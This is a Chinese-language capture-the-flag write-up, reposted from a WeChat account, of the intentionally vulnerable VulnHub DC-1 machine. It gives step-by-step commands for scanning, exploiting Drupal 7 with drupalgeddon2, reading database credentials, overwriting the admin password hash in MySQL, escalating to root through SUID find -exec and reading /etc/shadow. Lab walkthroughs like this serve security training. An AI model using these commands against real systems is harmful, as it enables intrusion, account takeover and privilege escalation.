0x00 环境搭建
虚拟机Kali:IP 192.168.123.5
DC-1靶场:
https://download.vulnhub.com/dc/DC-1.zip
0x01 渗透过程
1. 信息收集
探测目标IP地址
nmap 192.168.123.0/24
探测目标IP开放端口
nmap -Pn -p 1-65535 192.168.123.29 -T4
目标IP为192.168.123.29,开放了22、80、111、34902端口
网页信息收集
访问80端口
CMS:Drupal 7
Web:
Apache 2.2.22
PHP 5.4.45
JavaScript 库:jQuery
2.漏洞查找与利用
先从CMS漏洞入手
msf搜索
不知道哪个有效,全部试一遍。
3.Getshell
尝试到,模块exploit/unix/webapp/drupal_drupalgeddon2 有效
python -c 'import pty;pty.spawn("/bin/bash")'
成功getshell
4.数据库渗透
查看flag1.txt
提示找配置文件,看了一下web.config没东西,进入sites文件夹
翻到settings.php
flag2提示
数据库用户名:dbuser
数据库密码:R0ck3t
5.用户密码爆破
进入数据库
mysql -udbuser -pR0ck3t
查看数据库内容
show databases;
进入drupal的数据库,查看表
use drupaldb;
show tables;
看users表的数据
select * from users;
$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
密码被加密了,提示已经说了爆破是无解的,说明需要别的办法来得到密码。
一顿搜索,找到
意思是,Drupal会利用password-hash.sh文件来完成密码的加密,想到可以用这个文件加密一个自己的密码然后替换数据库中的原始密码。
找到这个文件
根据上面的方法
php scripts/password-hash.sh "admin"
然后回到数据库更改hash值
update users set name='admin', pass='$S$DKn.g86HBpQPTBHcscSth6O7uJ7taJoxPVKzY6BfUFC/arFgLzw8' where uid=1;
更改成功,可以登录。
flag3
翻译出来更像谜语,关键词是“PERMS”“FIND”“-exec”,应该是提示查找什么文件,或者用-exec提权。
6.Linux提权
先看一下/etc/passwd,因为当前用户不是root,所以/etc/shadow是没有权限访问的。
关键flag4,找一下。
find / -name flag4*
提示第5个flag在root目录里,再次说明需要提权。
利用find提权
find可以添加-exec参数来对查找的结果进行处理。
find "一个已经存在的文件" -exec "whoami" ;
find "一个已经存在的文件" -exec "/bin/sh" ;
看一下flag4的权限
find "flag4.txt" -exec "whoami" ;
是root权限,直接提权。
find "flag4.txt" -exec "/bin/sh" ;
得到最终flag
最后,cat /etc/shadow,看一下root的密码,加了密,破解不太可行,不试了,到此结束。
- End -
原文始发于微信公众号(NS Demon团队):DC-1靶场笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论